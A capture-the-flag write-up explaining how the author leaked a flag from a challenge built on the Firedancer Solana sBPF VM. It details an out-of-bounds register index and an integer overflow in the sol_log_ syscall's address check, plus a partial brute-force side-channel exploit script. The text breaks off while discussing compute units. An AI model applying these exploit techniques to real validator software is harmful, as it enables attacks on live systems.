This was a pwn challenge from the recent Amateurs CTF that I first-blooded. The challenge utilised an internal VM from a Solana validator client, Firedancer, and involved finding vulnerabilities in the VM implementation. Interestingly, Firedancer is a clone of the Rust Solana rbpf library but re-written in C!

To temper expectations, this challenge contains no bears. Challenge file: dist

Challenge premise

The challenge’s premise is simple. It sets up a Firedancer virtual machine and writes the flag to the VM’s heap memory. The challenge then allows the user to input instructions for the VM to execute. Under normal circumstances, we would simply read the flag. However, the VM’s heap size is configured to be 0x1337 and the flag is written at offset 0x1337. Any attempt to read the memory at that offset is prevented by the VM. In other words, this challenge will involve exploiting UB to leak the flag.

Let’s look at the set-up in more detail. The relevant section of code (source was provided) is in the challenge() function. Let’s break it down bit by bit, starting from the middle of the function, which contains the meat of it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

void challenge(const fd_sbpf_instr_t *instrs, ulong instr_cnt, ulong readonly_sz) {
[...]
    fd_vm_exec_context_t *ctx = isolate(sizeof(fd_vm_exec_context_t));
    ctx->instrs = instrs;
    ctx->instrs_sz = instr_cnt;
    ctx->heap_sz = 0x1337;
    ctx->compute_meter = 0xffffffffffffffff;
    ctx->syscall_map = syscalls;
    ctx->input = NULL;
    ctx->input_sz = 0;
    ctx->read_only = instrs;
    ctx->read_only_sz = readonly_sz;
    ctx->previous_instruction_meter = 0xffffffffffffffff;

    int fd = open("flag.txt", O_RDONLY);
    read(fd, ctx->heap + 0x1337, 128);
    close(fd);
[...]

The challenge takes 3 parameters:

  • An array of instructions that the VM will subsequently execute. This was previously input by the user.
  • The number of instructions in the array
  • The size of the read-only section of the VM. This is equivalent to the size of the array of instructions (this is analogous to the executable section of an ELF binary which has “rx” permissions)

The Firedancer VM’s memory layout is roughly comparable to that of a process – if you’ve used gdb you’ll be familiar with this. It has a segment for executable code i.e. the instructions, a heap segment for dynamic memory allocations and a stack segment for function stacks.

A fd_vm_exec_context_t object is allocated in memory using the isolate function. This is a helper function defined by the challenge author which essentially performs an mmap() but to a random location, mitigating the issue of mmap relativity. There are no vulnerabilities there. Next, the context object’s fields are initialized. Two important fields are heap_sz = 0x1337 and syscall_map = syscalls. The heap_sz field specifies the size of the VM’s heap segment. Any attempt to access memory beyond the end of the heap is considered illegal by the VM. The syscall_map field defines the set of syscalls the VM can call (the syscalls variable is actually defined earlier in the function, which we will see next).

After setting up the context object, the flag is written to the VM’s heap. Let’s take a look at how the ctx->heap field works by looking at the definition of the fd_vm_exec_context_t struct.

1
2
3
4
5
6
7
8

struct fd_vm_exec_context {
[...]
  fd_vm_stack_t stack;                    /* The sBPF call frame stack */
  ulong         heap_sz;                  /* The configured size of the heap */
  uchar         heap[FD_VM_MAX_HEAP_SZ];  /* The heap memory allocated by the bump allocator syscall */
[...]
};
typedef struct fd_vm_exec_context fd_vm_exec_context_t;

A large part of solving this challenge is understanding the VM’s internals. During my solving process, this meant a lot of reading Firedancer code on Github and jumping to references and definitions. If you are interested in following along, the relevant Firedancer commit is 36ba4fe295338c8721a1660366d722b1ec52b75c

We can see that the entire heap is defined as a buffer within the context struct. This means that the heap is actually sized at FD_VM_MAX_HEAP_SZ = (256*1024) (src) regardless of the heap_sz configuration, which explains why the challenge function can write past the supposed end of the heap. Note that OOB memory accesses within the VM are still illegal.

Okay, so that was the meat of challenge(). Let’s look at the syscalls variable defined earlier in the function now.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

void challenge(const fd_sbpf_instr_t *instrs, ulong instr_cnt,
               ulong readonly_sz) {
    fd_sbpf_syscalls_t *syscalls =
        fd_sbpf_syscalls_new(isolate(fd_sbpf_syscalls_footprint()));
    fd_vm_register_syscall(syscalls, "abort", fd_vm_syscall_abort);
    fd_vm_register_syscall(syscalls, "sol_panic_", fd_vm_syscall_sol_panic);

    fd_vm_register_syscall(syscalls, "sol_log_", fd_vm_syscall_sol_log);
    fd_vm_register_syscall(syscalls, "sol_log_compute_units_",
                           fd_vm_syscall_sol_log_compute_units);

    fd_vm_register_syscall(syscalls, "sol_sha256", fd_vm_syscall_sol_sha256);
    fd_vm_register_syscall(syscalls, "sol_keccak256",
                           fd_vm_syscall_sol_keccak256);

    fd_vm_register_syscall(syscalls, "sol_alloc_free_",
                           fd_vm_syscall_sol_alloc_free);
    fd_vm_register_syscall(syscalls, "sol_set_return_data",
                           fd_vm_syscall_sol_set_return_data);
    fd_vm_register_syscall(syscalls, "sol_get_return_data",
                           fd_vm_syscall_sol_get_return_data);
    fd_vm_register_syscall(syscalls, "sol_get_stack_height",
                           fd_vm_syscall_sol_get_stack_height);

    fd_vm_register_syscall(syscalls, "sol_get_clock_sysvar",
                           fd_vm_syscall_sol_get_clock_sysvar);
    fd_vm_register_syscall(syscalls, "sol_get_epoch_schedule_sysvar",
                           fd_vm_syscall_sol_get_epoch_schedule_sysvar);
    fd_vm_register_syscall(syscalls, "sol_get_rent_sysvar",
                           fd_vm_syscall_sol_get_rent_sysvar);

    fd_vm_register_syscall(syscalls, "sol_create_program_address",
                           fd_vm_syscall_sol_create_program_address);
    fd_vm_register_syscall(syscalls, "sol_try_find_program_address",
                           fd_vm_syscall_sol_try_find_program_address);
    fd_vm_register_syscall(syscalls, "sol_get_processed_sibling_instruction",
                           fd_vm_syscall_sol_get_processed_sibling_instruction);

    fd_sbpf_calldests_t *local_call_map =
        (fd_sbpf_calldests_t *)fd_sbpf_calldests_new(
            isolate(fd_sbpf_calldests_footprint(PC_MAX)), PC_MAX);
[...]

This snippet sets registers the syscalls available to the VM. The definitions for the syscalls’ target functions can be found in fd_vm_syscalls.c (src). We will examine a few interesting syscalls in more detail later.

The final part of challenge() runs the VM with the previously configured context.

1
2
3
4
5
6
7
8
9
10

    ulong validation = fd_vm_context_validate(ctx);
    if (FD_VM_SBPF_VALIDATE_SUCCESS == validation) {
        setup_seccomp();
        ulong status = fd_vm_interp_instrs(ctx);
        printf("done: %ld\n", status);
    } else {
        printf("error: %ld\n", validation);
        errx(1, "invalid program");
    }
}

Firstly, the fd_vm_context_validate function ensures that the program is well-formed. Next, some seccomp rules are initialized to only allow write, exit and exit_group syscalls in the challenge process. This doesn’t actually affect the solution. Lastly, fd_vm_interp_instrs(ctx) starts the VM.

VM execution

Let’s begin by examining the fd_vm_interp_instrs function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

ulong fd_vm_interp_instrs( fd_vm_exec_context_t * ctx ) {
  long pc = ctx->entrypoint;
  ulong ic = ctx->instruction_counter;
  ulong * register_file = ctx->register_file;
    
[...]
    
#define JMP_TAB_ID interp
#define JMP_TAB_PRE_CASE_CODE
#define JMP_TAB_POST_CASE_CODE
#include "fd_jump_tab.c"

  ulong heap_cus_consumed = fd_ulong_sat_mul(fd_ulong_sat_sub(ctx->heap_sz / (32*1024), 1), vm_compute_budget.heap_cost);
  cond_fault = fd_vm_consume_compute_meter(ctx, heap_cus_consumed);
  compute_meter = ctx->compute_meter;
  if( cond_fault != 0 ) {
    goto JT_RET_LOC;
  }

  fd_sbpf_instr_t instr;

  static const void * locs[222] = {
#include "fd_vm_interp_locs.c"
  };

  instr = ctx->instrs[pc];

  goto *(locs[instr.opcode.raw]);
[...]

The key bit is at the end. The instruction to be executed instr is obtained from ctx->instrs (which is the array of instructions the user supplies) at offset pc (program counter), which starts at 0. Then, the VM jumps to some code based on the instruction’s opcode. If we look at the locs array, we see that its definition is the contents of fd_vm_interp_locs.c, which looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

/* 0x00 */ &&JT_CASE_LOC(0x00),
/* 0x01 */ NULL,
/* 0x02 */ NULL,
/* 0x03 */ NULL,
/* 0x04 */ &&JT_CASE_LOC(0x04),
/* 0x05 */ &&JT_CASE_LOC(0x05),
/* 0x06 */ NULL,
/* 0x07 */ &&JT_CASE_LOC(0x07),
/* 0x08 */ NULL,
/* 0x09 */ NULL,
/* 0x0a */ NULL,
/* 0x0b */ NULL,
/* 0x0c */ &&JT_CASE_LOC(0x0c),
[...]

We can continue following the references around for a bit to figure out that each opcode corresponds to a bunch of cases defined in fd_vm_interp_dispatch_tab.c (src). Let’s take a look at the first 2 opcodes as an example.

1
2
3
4
5
6
7
8
9

/* 0x04 */ JT_CASE(0x04) // FD_BPF_OP_ADD_IMM
  register_file[instr.dst_reg] = (uint)((uint)register_file[instr.dst_reg] + (uint)instr.imm);
INSTR_POST_CODE
JT_CASE_END
/* 0x05 */ JT_CASE(0x05) // FD_BPF_OP_JA
BRANCH_PRE_CODE
  pc += instr.offset;
BRANCH_POST_CODE
JT_CASE_END

The instruction with opcode 0x04 is supposedly FD_BPF_OP_ADD_IMM, which appears to add a value in the imm field to the specified register. The instruction with opcode 0x05 appears to be a jump instruction, incrementing the pc variable from earlier by a value in the offset field. This is equivalent to skipping offset instructions.

At this point, it’s probably a good idea to look at the formal definition of an instruction just to confirm what we’ve seen so far. Here is its definition from fd_sbpf_instr.h (src)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

union fd_sbpf_opcode {
  uchar raw;
  fd_sbpf_opcode_any_t any;
  fd_sbpf_opcode_normal_t normal;
  fd_sbpf_opcode_mem_t mem;
};
typedef union fd_sbpf_opcode fd_sbpf_opcode_t;

struct fd_sbpf_instr {
  fd_sbpf_opcode_t opcode;
  uchar dst_reg : 4;
  uchar src_reg : 4;
  short offset;
  uint imm;
};
typedef struct fd_sbpf_instr fd_sbpf_instr_t;

Expectedly, the instruction struct encodes details including an opcode (operation code), destination and source registers (each specified by half a byte), an offset and an immediate value (imm).

Another important aspect of the VM’s execution is understanding how it handles syscalls. This happens via the CALL_IMM operation (opcode 0x85).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

/* 0x85 */ JT_CASE(0x85) // FD_BPF_OP_CALL_IMM
BRANCH_PRE_CODE
  if ( (ulong)(pc + (int)instr.imm + 1L) < ctx->instrs_sz ) {
    register_file[10] += 0x2000;
    cond_fault = 0;
    fd_vm_stack_push( &ctx->stack, (ulong)pc, &register_file[6] );
    pc += (int)instr.imm;
  } else {
    compute_meter = fd_ulong_sat_sub(compute_meter, due_insn_cnt);
    ctx->compute_meter = compute_meter;
    due_insn_cnt = 0;
    ctx->due_insn_cnt = 0;
    fd_sbpf_syscalls_t * syscall_entry_imm = fd_sbpf_syscalls_query( ctx->syscall_map, instr.imm, NULL );
    if( syscall_entry_imm==NULL ) {
      // FIXME: DO STACK STUFF correctly: move this r10 manipulation in the fd_vm_stack_t or on success.
      register_file[10] += 0x2000;
      // FIXME: stack overflow fault.
      fd_vm_stack_push( &ctx->stack, (ulong)pc, &register_file[6] );
      if( fd_sbpf_calldests_test( ctx->calldests, instr.imm ) ) {
        uint target_pc = fd_pchash_inverse( instr.imm );
        pc = (long)(target_pc-1);
      } else if( instr.imm==0x71e3cf81 ) {
        pc = (long)ctx->entrypoint;  /* TODO subtract 1 here? */
      } else {
        // TODO: real error for nonexistent func
        cond_fault = 1;
      }
    } else {
      ctx->compute_meter = compute_meter;
      cond_fault = ((fd_vm_syscall_fn_ptr_t)( syscall_entry_imm->func_ptr ))(ctx, register_file[1], register_file[2], register_file[3], register_file[4], register_file[5], &register_file[0]);
      compute_meter = ctx->compute_meter;
    }
    previous_instruction_meter = compute_meter;
    ctx->previous_instruction_meter = previous_instruction_meter;
  }

Looking at the tests in test_vm_interp helped me understanding the different instructions and what could or could not be done.

In a nutshell, this code sets up the stack accordingly for the syscall frame, looks up the syscall in the syscall_map (which was defined earlier in challenge()) and runs it with the context and registers as arguments. This means that we can control the parameters received by syscalls via setting the corresponding registers.

To wrap up this section, let’s take a look at why exactly we cannot simply read the flag from memory via a VM instruction. Here is the code behind a load operation which is used to load the data at an address into a register, i.e. perform a read.

1
2
3
4
5
6
7

/* 0x60 - 0x6f */
/* 0x61 */ JT_CASE(0x61) // FD_BPF_OP_LDXW
  cond_fault = fd_vm_mem_map_read_uint( ctx, (ulong)((long)register_file[instr.src_reg] + instr.offset), &register_file[instr.dst_reg] );
  goto *((cond_fault == 0) ? &&fallthrough_0x61 : &&JT_RET_LOC);
fallthrough_0x61:
INSTR_POST_CODE
JT_CASE_END

We can see that the read doesn’t happen directly, instead passing through the fd_vm_mem_map_read_uint function, which in turn calls fd_vm_translate_vm_to_host_const with the desired read address and size of read, as defined in fd_vm_context.c (src)).

1
2
3
4
5
6
7
8
9
10
11

static inline ulong
fd_vm_mem_map_read_uint( fd_vm_exec_context_t * ctx,
                         ulong                  vm_addr,
                         ulong *                val ) {

  void const * vm_mem = fd_vm_translate_vm_to_host_const( ctx, vm_addr, sizeof(uint), alignof(uchar) );
  if( FD_UNLIKELY( !vm_mem ) ) return FD_VM_MEM_MAP_ERR_ACC_VIO;

  *val = fd_ulong_load_4( vm_mem );
  return FD_VM_MEM_MAP_SUCCESS;
}

This translation from a virtual address to a “physical” address is typical in VMs. In this case, the physical addresses are addresses in the address space of the challenge process. fd_vm_translate_vm_to_host_private (used by fd_vm_translate_vm_to_host_const behind the scenes) first determines which memory segment the address is in using a bitmask. The program region (where the instructions are stored) has virtual address of 0x1????????, the stack at 0x2???????? and the heap at 0x3???????? (src).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

ulong
fd_vm_translate_vm_to_host_private( fd_vm_exec_context_t *  ctx,
                                    ulong                   vm_addr,
                                    ulong                   sz,
                                    int                     write ) {
  ulong mem_region = vm_addr & FD_VM_MEM_MAP_REGION_MASK;
  ulong start_addr = vm_addr & FD_VM_MEM_MAP_REGION_SZ;
  ulong end_addr = start_addr + sz;

  ulong host_addr = 0UL;
  switch( mem_region ) {
[...]
    case FD_VM_MEM_MAP_PROGRAM_REGION_START:
[...]
    case FD_VM_MEM_MAP_STACK_REGION_START:
[...]
    case FD_VM_MEM_MAP_HEAP_REGION_START:
      /* Heap memory region */
      if( FD_UNLIKELY( end_addr > ctx->heap_sz ) )
        return 0UL;
      host_addr = (ulong)ctx->heap + start_addr;
      break;
    case FD_VM_MEM_MAP_INPUT_REGION_START:
[...]
    default:
      return 0UL;
  }
[...]
  return host_addr;
}

Next, it checks that the end of the range of target addresses is within the same memory segment, according to the values in the context. So, if we try to read the heap at offset 0x1337, end_addr > ctx->heap_sz will be true, preventing the read.

There are other instructions for different types of read (size of a byte/word/dword/etc) but all operate on a simliar logic. Similarly, the instructions handling writes use the same translation function to prevent OOB writes.

Vulnerability ideas

Now that we are all Firedancer experts, let’s look at some possible vulnerable areas. I will first discuss some ideas I had that ultimately did not work.

The first idea I had was to increase heap_sz. This was the most intuitive solution to reading the flag. However, looking through references to this field, I quickly realised that there were no writes to it other than during its initialization (where it was set to 0x1337). So, this wouldn’t work. The next idea I had was to use heap de/allocations to somehow get an OOB, remniscent of typical heap note challenges. Let’s explore the heap allocation mechanism. The VM’s version of malloc and free are provided by the sol_alloc_free_ syscall. Here is its code: (src)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

ulong
fd_vm_syscall_sol_alloc_free( void * _ctx,
                              ulong sz,
                              ulong free_addr,
                              FD_FN_UNUSED ulong r3,
                              FD_FN_UNUSED ulong r4,
                              FD_FN_UNUSED ulong r5,
                              ulong * ret ) {
  fd_vm_exec_context_t * ctx     = (fd_vm_exec_context_t *) _ctx;
  /* Value to return */
  ulong r0 = 0UL;

  ulong align = ctx->check_align ? 8UL : 1UL;

  fd_vm_heap_allocator_t * alloc = &ctx->alloc;

  /* Non-zero free address implies that this is a free() call.
     However, we provide a bump allocator, so free is a no-op. */

  if( free_addr ) goto fini;

  /* Rest of function provides malloc() ... */

  ulong pos   = fd_ulong_align_up( alloc->offset, align );
  ulong vaddr = fd_ulong_sat_add ( pos,           FD_VM_MEM_MAP_HEAP_REGION_START );
        pos   = fd_ulong_sat_add ( pos,           sz    );

  /* Bail if allocation overruns heap size */

  if( FD_UNLIKELY( pos > ctx->heap_sz ) ) goto fini;

  /* Success. Return virtual address of allocation and update allocator */

  r0            = vaddr;
  alloc->offset = pos;

fini:
  *ret = r0;
  return FD_VM_SYSCALL_SUCCESS;
}

The function accepts a sz and a free_addr as parameters. If the latter is unspecified, it performs an allocation of the target sz using a bump allocator. If free_addr is instead specified, the function performs a free operation on the target address, which for bump allocators, is a no-op. With the dynamic memory allocator being a bump allocator, there is clearly no way to perform heap-fu.

Bump allocation is a fast, but limited approach to allocation. We have a chunk of memory, and we maintain a pointer within that memory. Whenever we allocate an object, we do a quick check that we have enough capacity left in our chunk to allocate the object and then update the pointer by the object’s size. That’s it! (Source: bumpalo)

Following this, I started looking at the other available syscalls to check if there were any vulnerabilities there. For instance, I was looking for an arbitrary read/write from the sol_set_return_data/sol_get_return_data pair. However, those functions proved to be safe due to their usage of the same address translation function showcased earlier. For a while, I had my eyes set on the log family of syscalls (abort, sol_panic_, sol_log_, sol_log_compute_units_). I thought that I could use a buffer string overrun to leak the flag into the logs, i.e.

  • If heap+0x1337 = <flag>
  • And we can perform a write so that heap+0x1336 = 'A'
  • Then printing heap+0x1336 would read the string from 'A' till the end of flag, where it finds the null terminator

There were 2 issues with this approach: the log syscalls wrote the logs to a log buffer within the context struct, which doesn’t get printed to stdout in this configuration; more critically, the log syscalls didn’t have such unsafe uses of string copy functions.

Ok, enough teasing. Here are the actual vulnerabilities I found after starting at the code for long enough.

Register OOB.

Keen readers may have spotted this vulnerability already since I have actually shown all the parts of code involved! Let’s take a look at how registers are accessed in instructions, using an operation covered earlier as an example.

1
2
3
4

/* 0x04 */ JT_CASE(0x04) // FD_BPF_OP_ADD_IMM
  register_file[instr.dst_reg] = (uint)((uint)register_file[instr.dst_reg] + (uint)instr.imm);
INSTR_POST_CODE
JT_CASE_END

We see that the “registers” are actually just elements into the register_file array, which is part of the context struct.

1
2
3
4
5
6
7
8
9
10

struct fd_vm_exec_context {
[...]
  ulong                 register_file[11];           /* The sBPF register file */
  ulong                 program_counter;             /* The current instruction index being executed */
  ulong                 instruction_counter;         /* The number of instructions which have been executed */
  fd_vm_log_collector_t log_collector;               /* The log collector used by `sol_log_*` syscalls */
  ulong                 compute_meter;               /* The remaining CUs left for the transaction */
  ulong                 due_insn_cnt;                /* Currently executed instructions */
  ulong                 previous_instruction_meter;  /* Last value of remaining compute units */
  ulong                 cond_fault;                  /* If non-zero, indicates a fault occured during execution */

instr.dst_reg is used to index into this array. Recall the instruction struct:

1
2
3
4
5
6
7

struct fd_sbpf_instr {
  fd_sbpf_opcode_t opcode;
  uchar dst_reg : 4;
  uchar src_reg : 4;
  short offset;
  uint imm;
};

The : 4 is a bitfield, specifying that the dst_reg and src_reg fields should only use 4 bits each despite uchar typically using 8 bits (this is usually a space saving strategy to pack structs more tightly). This means that the fields can take value from 0 to 15. So, if we specify a value from 11 to 15, the register access will actually be OOB of the register_file array, which only has 11 elements. With the number and flexibility of instructions involving registers (almost every instruction uses registers in some way), this is an extremely powerful vulnerability. However, the OOB is limited to the next (15-11+1)*8 = 40 bytes in the context struct. In fact, this can only access the program_counter, instruction_counter and log_collector fields because the log collector struct is large:

1
2
3
4

struct fd_vm_log_collector {
  uchar buf[ FD_VM_LOG_COLLECTOR_BYTES_LIMIT ];
  ulong buf_used;
};

This means that we have the following OOB accesses:

1
2
3
4
5

&register_file[11] == &program_counter;
&register_file[12] == &instruction_counter;
&register_file[13] == &log_collector.buf[0x00];
&register_file[14] == &log_collector.buf[0x08];
&register_file[15] == &log_collector.buf[0x10];

Accessing the program_counter and instruction_counter values aren’t particularly useful to us since we can already modify them using normal instructions. This points us towards looking for a way to attack/manipulate the log collector.

Log unrestricted read

As I continued auditing the log code, I found another vulnerability. Here’s the code for the fd_vm_syscall_sol_log function, corresponding to the registered "sol_log_" syscall (src):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

ulong
fd_vm_syscall_sol_log(
    void *  _ctx,
    ulong   msg_vm_addr,
    ulong   msg_len,
    ulong   r3 __attribute__((unused)),
    ulong   r4 __attribute__((unused)),
    ulong   r5 __attribute__((unused)),
    ulong * pr0
) {
  fd_vm_exec_context_t * ctx = (fd_vm_exec_context_t *) _ctx;
  ulong err = fd_vm_consume_compute_meter( ctx, fd_ulong_max(msg_len, vm_compute_budget.syscall_base_cost) );
  if ( FD_UNLIKELY( err ) ) return err;

  void const * msg_host_addr =
      fd_vm_translate_vm_to_host_const( ctx, msg_vm_addr, msg_len, alignof(uchar) );
  if( FD_UNLIKELY( !msg_host_addr ) ) return FD_VM_MEM_MAP_ERR_ACC_VIO;

  fd_vm_log_collector_log( &ctx->log_collector, msg_host_addr, msg_len );

  *pr0 = 0UL;
  return FD_VM_SYSCALL_SUCCESS;
}

This syscall allows us to specify the address the message is located at, as well as its length (recall that syscall parameters are specified by setting the corresponding registers, in this case, register 1 and 2). The syscall consumes some of our “compute meter”. (This is a Solana concept, where different instructions use up different amounts of “compute units”. This is not important for now.) Then, the familiar translation function is used to check that the memory address we wish to access is legal. Finally, it writes logs to the log_collector buffer in the context object.

The vulnerability lies in the ability to pass an unsanitised value to the translation function fd_vm_translate_vm_to_host_const. For reference, here are the relevant parts of the function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

ulong
fd_vm_translate_vm_to_host_private( fd_vm_exec_context_t *  ctx,
                                    ulong                   vm_addr,
                                    ulong                   sz,
                                    int                     write ) {
  ulong mem_region = vm_addr & FD_VM_MEM_MAP_REGION_MASK;
  ulong start_addr = vm_addr & FD_VM_MEM_MAP_REGION_SZ;
  ulong end_addr = start_addr + sz;

  ulong host_addr = 0UL;
  switch( mem_region ) {
[...]
    case FD_VM_MEM_MAP_HEAP_REGION_START:
      /* Heap memory region */
      if( FD_UNLIKELY( end_addr > ctx->heap_sz ) )
        return 0UL;
      host_addr = (ulong)ctx->heap + start_addr;
      break;
[...]
  }
[...]
  return host_addr;
}

The line ulong end_addr = start_addr + sz; is vulnerable to an integer overflow if sz is large. Since we can pass arbitrary values of msg_len to the syscall, we can trigger this integer overflow. As an example, if we set msg_addr = 0x300001337, msg_len = 0xffffffffffffff (recall the virtual address conventions: the prefix 0x3 signifies that the address is a heap address), then we will end up with start_addr = 0x1337, end_addr = 0x1336. This value of end_addr will pass the heap_sz check, tricking the VM into thinking that the read is legal.

Going back to the syscall, let’s see how this translates to the logging function fd_vm_log_collector_log( &ctx->log_collector, msg_host_addr, msg_len ) (src) which takes place after the translation function succeeds.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

void
fd_vm_log_collector_log( fd_vm_log_collector_t *  log_collector,
                         char const *             msg,
                         ulong                    msg_len ) {
  ulong buf_used = log_collector->buf_used;
  ulong buf_remaining = FD_VM_LOG_COLLECTOR_BYTES_LIMIT - buf_used;

  if( buf_used==FD_VM_LOG_COLLECTOR_BYTES_LIMIT ) {  // this is 10000UL
    // No more space, message is not copied into collector.
    return;
  }

  ulong bytes_to_copy = ( buf_remaining > msg_len ) ? msg_len : buf_remaining;
  log_collector->buf_used += bytes_to_copy;

  fd_memcpy( &log_collector->buf[ buf_used ], msg, bytes_to_copy );
}

It simply copies msg_len bytes from msg into the log collector buffer, up to FD_VM_LOG_COLLECTOR_BYTES_LIMIT = 10000 bytes. This is good for us as that means that despite passing a large value to the translation function, we will not actually end up reading that many bytes into the buffer, which would trigger a SIGSEGV when trying to read at such a large offset past msg.

Exploitation

Let’s concretize our plan of attack. Firstly, we use the unrestricted read in the "sol_log_" syscall to read past the end of the heap (offset 0x1337) into the log buffer. Next, we use the register OOB to read the contents of the log buffer into a register / memory. The last missing step is a way to exfiltrate the flag after we read it. Note that we have no way of simply printing the flag to stdout. Instead, we can use a side-channel attack to leak the flag byte by byte.

For example, we can check if the first byte of the flag is a certain character, and based on the outcome of the comparison, either crash the VM’s execution or exit gracefully. The program outputs "done" when the VM finishes running successfully, so we can use its presence as an oracle to tell us if the first byte of the flag is indeed the tested character. Repeat this for all possible characters until we find a match, and repeat the whole process for each byte of the flag until the whole flag is recovered.

Here is the exploit script for what we have so far. I’ve excluded many of the verbose function and variable definitions for the sake of clarity. The full script is available at the end of the write-up.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

while not answer.endswith('}') and len(answer) < 128:  # answer is the recovered flag so far
    for letter in alphabet:  # brute-force across all characters in alphabet
        p = remote("chal.amt.rs", 1340)
        sla = lambda x, y: p.sendlineafter(x, y)
        num_to_bytes = lambda x: str(x).encode("ascii")

        payload = b""
        # base_addr is which heap offset we are brute-forcing now
        # which is the flag offset (0x1337) plus the length of the recovered flag so far
        base_addr = 0x1337 + len(answer)

        # set register 1 to the base_addr
        payload += setreg_real(1, addr_types["heap"], base_addr)
        # set register 2 to -1 (0xfffffffffffffff)
        payload += setreg_sub(2, 1)
        # make the syscall (msg_vm_addr = base_addr, msg_len = 0xfffffffffffffff)
        payload += syscall("sol_log_")
        # now, the contents at base_addr is loaded into the log buffer
        # i.e. log_buffer[0] = target byte for brute-force

        # the next few operations target register 13, which is the OOB index into the log buffer
        # this performs an AND on the first 8 bytes of the buffer, zeroing all but the LSB
        payload += FD_SBPF_INSTR(FD_BPF_OP_AND64_IMM, 13, 0, 0, 0xff)
        # then, we perform a JNE (jump not equal) on the contents of register 13
        # this is equivalent to: if reg[13] != val, then jmp(off), else continue
        payload += FD_SBPF_INSTR(FD_BPF_OP_JNE_IMM, 13, 0, off=0x50, val=ord(letter))
        # at this point, if the LSB (our target byte) is not equal to our brute-force attempt's letter (ord(letter))
        # the VM will jump forward by 0x50 instructions, which is invalid, crashing the program
        
        # conversely, if our brute-force attempt's letter is a match, the next instruction is run instead
        # this exits the VM gracefully, causing the challenge function to print "done" before returning
        payload += FD_SBPF_INSTR(FD_SBPF_OP_EXIT, 0, 0, 0, 0)

        sla(b"program size:", num_to_bytes(len(payload)+8))
        sla(b"program:", payload+b"\x00"*8)
        sla(b"instruction count: ", b"0")

        done = False
        try:
            p.recvuntil(b"done: 0")  # this is our oracle for whether our brute-force attempt is correct
            print(f"correct char {letter}")
            done = True
        except:
            pass

        p.close()

        if done:
            answer += letter
            print(f"{answer=}")
            break

Upon testing this exploit, we find that the flag is copied to the log buffer… but no instructions after the log syscall seem to run! This means that our side-channel attack fails. After stepping through the program with GDB, we find that we end up in the interp_fault section in fd_vm_interp.c instead of the goto line executing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

ulong
fd_vm_interp_instrs( fd_vm_exec_context_t * ctx ) {
[...]
  fd_sbpf_instr_t instr;

  static const void * locs[222] = {
#include "fd_vm_interp_locs.c"
  };

  instr = ctx->instrs[pc];

  goto *(locs[instr.opcode.raw]);  // <- this is what executes our instructions normally

interp_fault:                     // <- this is where we end up after the log syscall
    compute_meter = 0; \
    due_insn_cnt = 0; \
    previous_instruction_meter = 0; \
    cond_fault = 1; \
    goto JT_RET_LOC;
[...]

Following this, with cond_fault = 1, the VM halts execution. Let’s take a look at what can trigger a jump to interp_fault from the section of code that handles syscall execution (in fd_vm_interp_dispatch_tab.c).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

/* 0x85 */ JT_CASE(0x85) // FD_BPF_OP_CALL_IMM  <- this is the syscall instruction
BRANCH_PRE_CODE
  compute_meter = fd_ulong_sat_sub(compute_meter, due_insn_cnt);
  ctx->compute_meter = compute_meter;
  due_insn_cnt = 0;
  ctx->due_insn_cnt = 0;
[...]
    ctx->compute_meter = compute_meter;
    cond_fault = ((fd_vm_syscall_fn_ptr_t)( syscall_entry_imm->func_ptr ))(ctx, register_file[1], register_file[2], register_file[3], register_file[4], register_file[5], &register_file[0]);
    compute_meter = ctx->compute_meter;
  }
  previous_instruction_meter = compute_meter;
  ctx->previous_instruction_meter = previous_instruction_meter;
  goto *((cond_fault == 0) ? &&fallthrough_0x85 : &&JT_RET_LOC);
fallthrough_0x85:
BRANCH_POST_CODE
JT_CASE_END
[...]

#define BRANCH_POST_CODE \
  instr = ctx->instrs[++pc]; \
  ic += (ulong)insns - skipped_insns; \
  start_pc = pc; \
  due_insn_cnt += (ulong)insns - skipped_insns; \
  skipped_insns = 0; \
  if ( FD_UNLIKELY( due_insn_cnt >= previous_instruction_meter ) ) { \
    goto interp_fault; \
  } \
  goto *(locs[instr.opcode.raw]); \
} while(0);

After executing the syscall, we see that we enter BRANCH_POST_CODE. This jumps to interp_fault if due_insn_cnt >= previous_instruction_meter, which is set to the value of ctx->compute_meter after executing the syscall. As mentioned briefly earlier, each syscall takes up a certain amount of compute units, which drains the compute meter. Recall that in the initialization of the context object, the compute meter was initialized as follows:

1
2
3

void challenge(const fd_sbpf_instr_t *instrs, ulong instr_cnt, ulong readonly_sz) {
[...]
    ctx->compute_meter = 0xffffffffffffffff;

The final piece of this puzzle is figuring out how many compute units the log syscall consumes.

1
2
3
4
5
6
7

ulong
fd_vm_syscall_sol_log(
[...]
  fd_vm_exec_context_t * ctx = (fd_vm_exec_context_t *) _ctx;
  ulong err = fd_vm_consume_compute_meter( ctx, fd_ulong_max(msg_len, vm_compute_budget.syscall_base_cost) );
  if ( FD_UNLIKELY( err ) ) return err;
[...]

